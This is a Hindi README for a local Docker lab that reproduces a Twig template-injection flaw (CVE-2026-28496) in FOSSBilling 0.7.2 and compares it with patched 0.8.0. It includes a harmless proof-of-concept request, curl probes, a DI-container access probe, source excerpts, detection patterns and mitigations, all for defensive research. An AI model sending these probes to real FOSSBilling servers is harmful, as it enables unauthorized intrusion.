
CVE-2026-28496 को पुनरुत्पादित और मान्य करने के लिए Docker-आधारित प्रयोगशाला, जो FOSSBilling के Twig रेंडरिंग में एक सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरी है, जिसमें कमजोर और पैच किए गए तुलना लक्ष्य शामिल हैं।
इस रिपॉजिटरी में CVE-2026-28496 को पुनः प्रस्तुत करने और मान्य करने के लिए एक स्थानीय Docker लैब शामिल है, जो FOSSBilling के Twig टेम्पलेट रेंडरिंग व्यवहार को प्रभावित करने वाली सर्वर-साइड टेम्पलेट इंजेक्शन भेद्यता है।
FOSSBilling एक निःशुल्क और ओपन-सोर्स बिलिंग और क्लाइंट प्रबंधन प्लेटफॉर्म है। 0.8.0 से पहले के संस्करण असुरक्षित Twig टेम्पलेट रेंडरिंग व्यवहार से प्रभावित हैं जो प्रदान किए गए टेम्पलेट अभिव्यक्तियों का मूल्यांकन कर सकते हैं। इस लैब में पैच किए गए तुलना लक्ष्य के रूप में FOSSBilling 0.8.0 का उपयोग किया गया है।
यह लैब दो FOSSBilling संस्करणों की तुलना करता है:
| सेवा | FOSSBilling संस्करण | उद्देश्य | URL |
|---|---|---|---|
| vuln | 0.7.2 | भेद्य तुलना लक्ष्य | http://localhost:8081 |
| patched | 0.8.0 | पैच किया गया तुलना लक्ष्य | http://localhost:8082 |
इस स्थानीय लैब में प्रदर्शित HTTP मान्यीकरण पथ है:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior
कमजोर लक्ष्य में, API कॉल वापस आता है:```json
{"result":"49","error":null}
पैच किए गए लक्ष्य में, वही अनुरोध वापस आता है:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
यह लैब FOSSBilling 0.7.2 और FOSSBilling 0.8.0 का उपयोग करके कमजोर-बनाम-पैच किए गए HTTP व्यवहार को मान्य करती है।
लैब जानबूझकर स्थानीय Docker सेवाओं तक सीमित है। यह बाहरी सिस्टम को लक्ष्य नहीं करता है और इसमें वेब शेल, मैलवेयर, स्थिरता, बाहरी कॉलबैक, डेटाबेस डंपिंग या विनाशकारी पेलोड शामिल नहीं हैं।
## सत्यापित तथ्य
| दावा | प्रमाण | इस लैब में कैसे सत्यापित करें |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 FOSSBilling के 0.8.0 से पहले के संस्करणों को प्रभावित करता है। | सार्वजनिक CVE और सलाहकार मेटाडेटा FOSSBilling के 0.8.0 से पहले के संस्करणों को Twig SSTI से प्रभावित बताते हैं। | संदर्भ अनुभाग की समीक्षा करें और कमजोर और पैच किए गए लक्ष्य संस्करणों की तुलना करें। |
| FOSSBilling 0.7.2 का उपयोग कमजोर तुलना लक्ष्य के रूप में किया जाता है। | कमजोर सेवा आधिकारिक `fossbilling/fossbilling:0.7.2` Docker इमेज से बनाई गई है। | `vuln/Dockerfile` का निरीक्षण करें और `docker compose ps -a` चलाएँ। |
| FOSSBilling 0.8.0 का उपयोग पैच किए गए तुलना लक्ष्य के रूप में किया जाता है। | पैच की गई सेवा आधिकारिक `fossbilling/fossbilling:0.8.0` Docker इमेज से बनाई गई है। | `patched/Dockerfile` का निरीक्षण करें और `docker compose ps -a` चलाएँ। |
| कमजोर HTTP पथ `/api/system/system/string_render` है। | कमजोर लक्ष्य `_tpl={{ 7*7 }}` के लिए `result: "49"` के साथ JSON लौटाता है। | `python3 poc/poc.py --url http://localhost:8081` चलाएँ। |
| पैच किया गया लक्ष्य समान HTTP व्यवहार प्रदर्शित नहीं करता है। | पैच किया गया लक्ष्य `Unknown API call system/system/string_render` लौटाता है। | `python3 poc/poc.py --url http://localhost:8082` चलाएँ। |
| PoC केवल HTTP-आधारित है। | `poc/poc.py` HTTP POST अनुरोध भेजता है और Docker, Docker Compose, शेल कमांड या कंटेनर APIs को कॉल नहीं करता है। | `poc/poc.py` का निरीक्षण करें। |
| लैब Docker Compose स्टार्टअप के दौरान दोनों FOSSBilling लक्ष्यों को स्वचालित रूप से स्थापित करता है। | एक-शॉट इंस्टॉलर साइडकार कंटेनर सेटअप पूरा करते हैं और स्थिति 0 के साथ बाहर निकलते हैं। | `docker compose ps -a` और `docker compose logs installer-vuln installer-patched` चलाएँ। |
| कमजोर लक्ष्य हानिरहित Twig अभिव्यक्ति को प्रस्तुत करता है। | पोर्ट 8081 से HTTP प्रतिक्रिया `{"result":"49","error":null}` है। | कमजोर PoC कमांड चलाएँ। |
| पैच किया गया लक्ष्य परीक्षण किए गए API पथ के माध्यम से समान अभिव्यक्ति को प्रस्तुत नहीं करता है। | पोर्ट 8082 से HTTP प्रतिक्रिया कोड `879` के साथ एक JSON API त्रुटि है। | पैच किए गए PoC कमांड चलाएँ। |
## धारणाएँ और अज्ञात
यह लैब FOSSBilling 0.7.2 का उपयोग कमजोर तुलना लक्ष्य के रूप में करती है क्योंकि सार्वजनिक भेद्यता अनुसंधान FOSSBilling के 0.8.0 से पहले के संस्करणों को प्रभावित बताता है, और 0.7.2 परीक्षण श्रृंखला में उपयोग किया जाने वाला नवीनतम कमजोर रिलीज़ है।
यह लैब FOSSBilling 0.8.0 का उपयोग पैच किए गए तुलना लक्ष्य के रूप में करती है क्योंकि सार्वजनिक सलाहकार मेटाडेटा 0.8.0 को पैच किए गए संस्करण के रूप में पहचानता है।
यह लैब निम्नलिखित के अवलोकन योग्य HTTP व्यवहार पर केंद्रित है:```text
POST /api/system/system/string_render
इस JSON बॉडी के साथ:```json {"_tpl":"{{ 7*7 }}"}
यह लैब दर्शाता है कि FOSSBilling 0.7.2 HTTP API पथ के माध्यम से दिए गए Twig एक्सप्रेशन को रेंडर करता है, जबकि FOSSBilling 0.8.0 उसी API कॉल को एक्सपोज़ नहीं करता है।
यह लैब प्रत्येक FOSSBilling टेम्पलेट रेंडरिंग सुविधा का परीक्षण करने का दावा नहीं करता है। CVE-2026-28496 अन्य Twig रेंडरिंग संदर्भों से भी संबंधित है, जैसे कि एप्लिकेशन के अंदर उपलब्ध टेम्पलेट रेंडरिंग सुविधाएँ।
यह लैब पूर्ण अप्रमाणित रिमोट कोड निष्पादन श्रृंखला का प्रदर्शन नहीं करता है। यह स्थानीय FOSSBilling 0.7.2 लक्ष्य में देखे गए अप्रमाणित HTTP व्यवहार को मान्य करता है और इसकी तुलना FOSSBilling 0.8.0 से करता है। पूर्ण सार्वजनिक श्रृंखला में यहाँ दिखाए गए सुरक्षित Twig एक्सप्रेशन सत्यापन से परे अतिरिक्त API प्राधिकरण व्यवहार शामिल है।
यह लैब प्रदर्शित नहीं करता है:
* रिमोट कमांड निष्पादन,
* क्रेडेंशियल निष्कर्षण,
* डेटाबेस डंपिंग,
* एक्सटेंशन स्थापना,
* मनमाना फ़ाइल लेखन,
* स्थायित्व,
* वेब शेल अपलोड,
* बाहरी कॉलबैक,
* गैर-लैब सिस्टम पर हमले,
* या पोस्ट-एक्सप्लॉइटेशन गतिविधि।
## मूल कारण सारांश
CVE-2026-28496 का मूल कारण असुरक्षित Twig टेम्पलेट रेंडरिंग है।
FOSSBilling गतिशील टेम्पलेट्स को रेंडर करने के लिए Twig का उपयोग करता है। कमजोर संस्करणों में, एक आपूर्ति की गई टेम्पलेट स्ट्रिंग को पर्याप्त सैंडबॉक्स प्रतिबंधों के बिना Twig रेंडरिंग लॉजिक में पारित किया जा सकता है।
कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
इस हानिरहित टेम्पलेट अभिव्यक्ति के लिए:```twig {{ 7*7 }}
असुरक्षित लक्ष्य अभिव्यक्ति का मूल्यांकन करता है और लौटाता है:```text
49
सुरक्षा मुद्दा केवल अंकगणितीय मूल्यांकन तक सीमित नहीं है। अंकगणितीय मूल्यांकन केवल इस प्रयोगशाला में उपयोग किया जाने वाला सुरक्षित दृश्य संकेत है।
अधिक सुरक्षा-संवेदनशील समस्या यह है कि बिना सैंडबॉक्स वाले Twig टेम्पलेट टेम्पलेट संदर्भ में उजागर वस्तुओं और विधियों तक पहुँच सकते हैं। सार्वजनिक शोध एक उच्च-प्रभाव पथ का वर्णन करता है जहाँ Twig टेम्पलेट निष्पादन एप्लिकेशन के आंतरिक भागों तक पहुँच सकता है, जिसमें निर्भरता इंजेक्शन कंटेनर भी शामिल है, जब उपयुक्त टेम्पलेट संदर्भ वस्तुएँ उपलब्ध हों।
सरलीकृत कमजोर मॉडल है:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable
FOSSBilling 0.8.0 में पैच किया गया डिज़ाइन कमजोर व्यवहार को मजबूत करता है। इस लैब में, पैच किया गया लक्ष्य अब परीक्षण किए गए API कॉल को उजागर नहीं करता है:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
सुरक्षा पाठ है:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
## स्रोत कोड विश्लेषण
कमजोर HTTP व्यवहार FOSSBilling 0.7.2 में स्रोत कोड पथ द्वारा समर्थित है।
API विधि अनुरोध डेटा से `_tpl` प्राप्त करती है और इसे सिस्टम सेवा रेंडरर को भेजती है।
प्रासंगिक कमजोर प्रवेश बिंदु:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
महत्वपूर्ण डेटा प्रवाह है:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()
FOSSBilling 0.7.2 में, `renderString()` आपूर्ति किए गए मान को एक टेम्पलेट नाम के रूप में लोड करने का प्रयास करता है। यदि वह विफल होता है, तो यह आपूर्ति किए गए मान को एक टेम्पलेट स्ट्रिंग के रूप में मानता है और इसे `createTemplateFromString()` में पास करता है।
सरलीकृत कमजोर प्रवाह:```php
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
असुरक्षित सिंक createTemplateFromString() है:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
सुरक्षा-संबंधी स्रोत पैटर्न है:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
यह असुरक्षित प्रयोगशाला परिणाम की व्याख्या करता है:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
असुरक्षित प्रतिक्रिया:```json
{"result":"49","error":null}
मान 49 साबित करता है कि प्रदान की गई Twig अभिव्यक्ति का मूल्यांकन सर्वर-साइड पर किया गया था।
सुरक्षित लैब पेलोड केवल अंकगणित का उपयोग करता है:```twig {{ 7*7 }}
हालांकि, मूल कारण अंकगणितीय अभिव्यक्ति मूल्यांकन की तुलना में अधिक सुरक्षा-संवेदनशील है। असुरक्षित रेंडरिंग संदर्भों में, Twig टेम्पलेट टेम्पलेट वातावरण में मौजूद एप्लिकेशन ऑब्जेक्ट्स के साथ इंटरैक्ट कर सकते हैं। सार्वजनिक शोध उच्च प्रभाव वाली श्रृंखलाओं का वर्णन करता है जहां API संदर्भ ऑब्जेक्ट्स निर्भरता इंजेक्शन कंटेनर जैसे एप्लिकेशन आंतरिक तक पहुंच उजागर कर सकते हैं।
एक स्रोत-स्तरीय प्रतिगमन जांच ने गहरे व्यवहार की पुष्टि की:```text
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
यही कारण है कि इस भेद्यता को केवल कैलकुलेटर-शैली अभिव्यक्ति मूल्यांकन बग के रूप में नहीं, बल्कि असुरक्षित टेम्पलेट रेंडरिंग के रूप में समझा जाना चाहिए।
FOSSBilling 0.8.0 स्ट्रिंग रेंडरिंग को मजबूत करके और परीक्षण की गई असुरक्षित HTTP व्यवहार को हटाकर असुरक्षित व्यवहार को बदलता है।
पैच किए गए संस्करण में, स्ट्रिंग रेंडरिंग को व्यापक Twig क्षमताओं के साथ सीधे मनमाने टेम्पलेट स्ट्रिंग्स को रेंडर करने के बजाय सैंडबॉक्स-जागरूक रेंडरिंग के माध्यम से रूट किया जाता है।
पैच किया गया सेवा कोड एक sandbox-aware renderer को कॉल करता है:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );
सैंडबॉक्स्ड रेंडरर एक टेम्पलेट बनाता और रेंडर करता है, लेकिन Twig sandbox उल्लंघनों को पकड़ता है और उन्हें एक नियंत्रित एप्लिकेशन त्रुटि में परिवर्तित करता है:```php
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
सैंडबॉक्स नीति डिफ़ॉल्ट रूप से विधि और गुण एक्सेस को ब्लॉक करती है:```php $methods = []; $properties = [];
सुरक्षा-संबंधी परिवर्तन है:```text
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
इस प्रयोगशाला में परीक्षण किए गए सार्वजनिक HTTP API पथ के लिए, FOSSBilling 0.8.0 उसी कमजोर API कॉल को उजागर नहीं करता है:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
यह दो उपयोगी सत्यापन परतें प्रदान करता है:```text
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
प्रयोगशाला इन दो परतों को अलग रखती है:```text HTTP PoC result proves the vulnerable endpoint behavior.
Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
## प्रयोगशाला वास्तुकला
प्रयोगशाला Docker Compose के माध्यम से दो पृथक FOSSBilling इंस्टॉलेशन चलाती है।```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
दो FOSSBilling सेवाएं अलग-अलग डेटाबेस और अलग-अलग एप्लिकेशन संस्करणों का उपयोग करती हैं:
डिफ़ॉल्ट रूप से उजागर सेवाएं:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
लैब पिन किए गए FOSSBilling संस्करणों का उपयोग करता है:
| Target | FOSSBilling संस्करण | अपेक्षित व्यवहार |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | कमजोर API पथ के माध्यम से `{{ 7*7 }}` प्रस्तुत करता है |
| http://localhost:8082 | 0.8.0 | समान कमजोर API व्यवहार को उजागर नहीं करता है |
इंस्टॉलर साइडकार `docker compose up` के दौरान स्वचालित रूप से चलते हैं। वे दोनों FOSSBilling लक्ष्यों को स्थानीय डिस्पोजेबल डेटाबेस क्रेडेंशियल्स के साथ आरंभ करते हैं और फिर बाहर निकल जाते हैं।
लैब कमजोर API रूट को नहीं बनाता या संशोधित नहीं करता है।
रूट `/api/system/system/string_render` स्थापना के बाद कमजोर 0.7.2 लक्ष्य में FOSSBilling एप्लिकेशन द्वारा प्रदान किया जाता है। Docker लैब केवल अपने सामान्य इंस्टॉलर प्रवाह के माध्यम से एप्लिकेशन स्थापित करता है और फिर मौजूदा एप्लिकेशन एंडपॉइंट पर HTTP अनुरोध भेजता है।
पैच किया गया 0.8.0 लक्ष्य `Unknown API call system/system/string_render` लौटाता है, जो पुष्टि करता है कि परीक्षित रूट व्यवहार लैब-निर्मित रूट के बजाय एप्लिकेशन संस्करण से ही आता है।
## आवश्यकताएँ
* Docker Desktop या Docker Engine
* Docker Compose v2
* Python 3
* पहली Docker इमेज पुल के दौरान इंटरनेट एक्सेस
कोई Python तृतीय-पक्ष पैकेज आवश्यक नहीं है। PoC केवल Python मानक लाइब्रेरी मॉड्यूल का उपयोग करता है।
## त्वरित आरंभ
लैब को साफ स्थिति से शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
सेवा स्थिति जांचें:```bash docker compose ps -a
अपेक्षित चल रही सेवाएँ:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
अपेक्षित पूर्ण इंस्टॉलर सेवाएँ:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
इंस्टॉलर लॉग जांचें:```bash
docker compose logs installer-vuln installer-patched
वेब अनुप्रयोगों की जाँच करें:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
कमजोर लक्ष्य पर HTTP सत्यापन चलाएं:```bash
python3 poc/poc.py --url http://localhost:8081
पैच किए गए लक्ष्य पर HTTP मान्यता चलाएँ:```bash python3 poc/poc.py --url http://localhost:8082
## PoC उपयोग
PoC एक स्थानीय FOSSBilling आधार URL स्वीकार करता है:```bash
python3 poc/poc.py --url <target_url>
उदाहरण:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
यह PoC यह HTTP request भेजता है:```text
POST /api/system/system/string_render
Content-Type: application/json
अनुरोध निकाय:```json {"_tpl":"{{ 7*7 }}"}
यह PoC केवल HTTP-आधारित है। यह Docker, Docker Compose, shell commands, WP-CLI, या container APIs को कॉल नहीं करता है।
## अपेक्षित परिणाम
### कमजोर लक्ष्य
कमांड:```bash
python3 poc/poc.py --url http://localhost:8081
अपेक्षित असुरक्षित लक्ष्य संकेत:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}
===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
### पैच किया गया लक्ष्य
कमांड:```bash
python3 poc/poc.py --url http://localhost:8082
अपेक्षित पैच किया गया लक्ष्य संकेत:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.
महत्वपूर्ण अंतर यह है:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
वैधता जांचक एक HTTP POST अनुरोध FOSSBilling API endpoint पर भेजता है:```text /api/system/system/string_render
अनुरोध निकाय में एक हानिरहित Twig अभिव्यक्ति है:```json
{"_tpl":"{{ 7*7 }}"}
अपेक्षित कमजोर व्यवहार:```text HTTP 200 OK JSON result is "49"
अपेक्षित पैच किया गया व्यवहार:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
यह पुष्टि करता है कि कमजोर लक्ष्य आपूर्ति किए गए टेम्पलेट का सर्वर-साइड मूल्यांकन करता है।
PoC जानबूझकर विनाशकारी पेलोड के बजाय {{ 7*7 }} का उपयोग करता है। लक्ष्य तकनीकी स्थिति को सुरक्षित रूप से सिद्ध करना है:```text
attacker-controlled template input
गहन स्रोत-स्तर मूल-कारण सत्यापन के लिए, विधि पहुँच अंतर्निहित समस्या का एक मजबूत प्रमाण है। हालांकि, इस भंडार में सार्वजनिक PoC उच्च-प्रभाव श्रृंखला प्रदर्शित करने से बचने के लिए सुरक्षित अंकगणितीय अभिव्यक्ति का उपयोग करता है।
## curl के साथ मैन्युअल HTTP पुनरुत्पादन
कमजोर जांच:```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
अपेक्षित परिणाम:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
पैच किया गया प्रोब:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
अपेक्षित परिणाम:```text HTTP/1.1 400 Bad Request Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## प्रभाव
बिलिंग और क्लाइंट प्रबंधन प्लेटफॉर्म में Server-Side Template Injection सुरक्षा-संवेदनशील है क्योंकि एप्लिकेशन में ग्राहक रिकॉर्ड, बिलिंग डेटा, सर्वर क्रेडेंशियल्स, भुगतान कॉन्फ़िगरेशन और प्रशासक-नियंत्रित ऑटोमेशन लॉजिक संग्रहीत हो सकते हैं।
दिखाया गया प्रयोगशाला पेलोड हानिरहित है और केवल मूल्यांकन करता है:```twig
{{ 7*7 }}
हालाँकि, जब टेम्पलेट निष्पादन के पास एप्लिकेशन ऑब्जेक्ट्स, विधियों या सेवा कंटेनरों तक पहुँच होती है, तो अंतर्निहित कमजोरी का वर्ग अधिक गंभीर हो सकता है।
कॉन्फ़िगरेशन और पहुँच योग्य टेम्पलेट संदर्भ के आधार पर, संभावित वास्तविक दुनिया का प्रभाव शामिल हो सकता है:
यह लैब केवल सुरक्षित HTTP सत्यापन संकेत प्रदर्शित करता है। यह क्रेडेंशियल एक्सेस, डेटाबेस एक्सेस, एक्सटेंशन इंस्टॉलेशन, कमांड निष्पादन या पोस्ट-एक्सप्लॉइटेशन प्रदर्शित नहीं करता है।
संभावित संकेतकों में FOSSBilling API एंडपॉइंट के लिए HTTP अनुरोध शामिल हैं:```text /api/system/system/string_render
संदिग्ध अनुरोध पैटर्न:```text
POST /api/system/system/string_render
Content-Type: application/json
संदिग्ध अनुरोध बॉडी संकेतक:```text _tpl {{ }} Twig syntax
एक्सेस लॉग पैटर्न का उदाहरण:```text
POST /api/system/system/string_render
उदाहरण JSON पेलोड:```json {"_tpl":"{{ 7*7 }}"}
अनुशंसित निगरानी कार्रवाइयाँ:
* वेब सर्वर एक्सेस लॉग में `/api/system/system/string_render` की समीक्षा करें।
* JSON अनुरोध निकायों में `_tpl` वाले अनुरोधों की समीक्षा करें।
* Twig सिंटैक्स जैसे `{{` और `}}` वाले अनुरोधों की समीक्षा करें।
* सफल API प्रतिक्रियाओं की समीक्षा करें जिनमें रेंडर किया गया टेम्पलेट आउटपुट हो।
* विफल API प्रतिक्रियाओं की समीक्षा करें संदिग्ध टेम्पलेट-रेंडरिंग प्रयासों के लिए।
* यदि शोषण का संदेह है तो व्यवस्थापक गतिविधि की समीक्षा करें।
* टेम्पलेट, ईमेल, मास मेलर, और भुगतान एडेप्टर कॉन्फ़िगरेशन परिवर्तनों की समीक्षा करें।
* टेम्पलेट रेंडरिंग त्रुटियों या अप्रत्याशित API कॉल के लिए एप्लिकेशन लॉग की समीक्षा करें।
उच्च-संकेत पहचान विचार:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
एक और उच्च-संकेत स्थानीय सत्यापन कलाकृति:```text Request body: {"_tpl":"{{ 7*7 }}"}
Response body: {"result":"49","error":null}
## शमन और पैच नोट्स
FOSSBilling को संस्करण 0.8.0 या उसके बाद में अपग्रेड करें।
उत्पादन वातावरण के लिए, प्रयोगशाला तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध रिलीज़ में अपडेट करें।
अनुशंसित शमन कदम:
* FOSSBilling को 0.8.0 या उसके बाद में अपग्रेड करें।
* सुनिश्चित करें कि स्थापित संस्करण प्रभावित श्रेणी में नहीं है।
* जहां संभव हो, प्रशासनिक API पथों तक सार्वजनिक पहुंच को प्रतिबंधित करें।
* `/api/system/system/string_render` के अनुरोधों के लिए वेब एक्सेस लॉग की समीक्षा करें।
* टेम्पलेट्स, ईमेल टेम्पलेट्स, मास मेलर और कस्टम भुगतान एडेप्टर में संदिग्ध Twig सिंटैक्स की समीक्षा करें।
* यदि शोषण का संदेह हो तो रहस्यों को घुमाएँ।
* अनधिकृत पहुंच के लिए ग्राहक, बिलिंग, भुगतान और सर्वर प्रबंधन रिकॉर्ड की समीक्षा करें।
* WAF नियमों या रिवर्स प्रॉक्सी ब्लॉक को अस्थायी नियंत्रण के रूप में मानें, न कि अपग्रेड करने के विकल्प के रूप में।
सुरक्षा इंजीनियरिंग सबक:
* विशेषाधिकार प्राप्त एप्लिकेशन संदर्भ में अविश्वसनीय टेम्पलेट स्ट्रिंग्स को रेंडर न करें।
* एप्लिकेशन सेवा कंटेनर को टेम्पलेट संदर्भों में उजागर न करें।
* उपयोगकर्ता-नियंत्रित या व्यवस्थापक-नियंत्रित टेम्पलेट सुविधाओं के लिए सैंडबॉक्स्ड टेम्पलेट रेंडरिंग का उपयोग करें।
* जब तक स्पष्ट रूप से आवश्यक न हो, विधि और संपत्ति पहुंच को अस्वीकार करें।
* API प्राधिकरण विफलताओं को स्पष्ट रखें और बंद करने में विफल रहें।
* टेम्पलेट रेंडरिंग सुविधाओं को कोड निष्पादन-आसन्न सतहों के रूप में मानें।
## उपयोगी सत्यापन कमांड
कंटेनर स्थिति जांचें:```bash
docker compose ps -a
इंस्टॉलर लॉग्स की जाँच करें:```bash docker compose logs installer-vuln installer-patched
वेब सेवाओं की जाँच करें:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
कमजोर HTTP मान्यकरण चलाएँ:```bash python3 poc/poc.py --url http://localhost:8081
पैच किए गए HTTP सत्यापन को चलाएं:```bash
python3 poc/poc.py --url http://localhost:8082
मैन्युअल कमजोर अनुरोध:```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
मैन्युअल पैच किया गया अनुरोध:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
चेक-आउट स्रोत ट्री से असुरक्षित स्रोत प्रवाह का निरीक्षण करें:```bash git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
चेक-आउट किए गए स्रोत ट्री से पैच किए गए सैंडबॉक्स रेंडरर का निरीक्षण करें:```bash
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
सत्यापन साक्ष्य सहेजें:```bash mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt
docker compose ps -a
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt
Check FOSSBilling प्रतिक्रिया हेडर जाँचें:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
कंटेनरों और नेटवर्कों को रोकें और हटाएं:```bash docker compose down --remove-orphans
कंटेनर, नेटवर्क और वॉल्यूम हटाएँ:```bash
docker compose down -v --remove-orphans
यदि बनाई गई हैं तो स्थानीय साक्ष्य फ़ाइलों को हटाएँ:```bash rm -rf evidence/
## सुरक्षा सीमाएँ
यह प्रयोगशाला केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
उन सिस्टमों पर PoC या मैनुअल कर्ल अनुरोध न चलाएँ जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
इस प्रयोगशाला में वास्तविक उत्पादन क्रेडेंशियल्स, ग्राहक डेटा, भुगतान डेटा, API कुंजी या उत्पादन रहस्यों का उपयोग न करें।
इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है जैसे:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
PoC जानबूझकर केवल HTTP और स्थानीय-दायरे तक सीमित है। यह Docker, Docker Compose, शेल कमांड, WP-CLI, या कंटेनर APIs को कॉल नहीं करता है।
लैब में निम्नलिखित के लिए पेलोड शामिल नहीं हैं:
लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति प्रदर्शित करना है:```text HTTP request
## संदर्भ
* CVE रिकॉर्ड: CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* GitHub सलाह: GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck: FOSSBilling प्रमाणीकरण बाईपास और Twig SSTI से अनधिकृत RCE
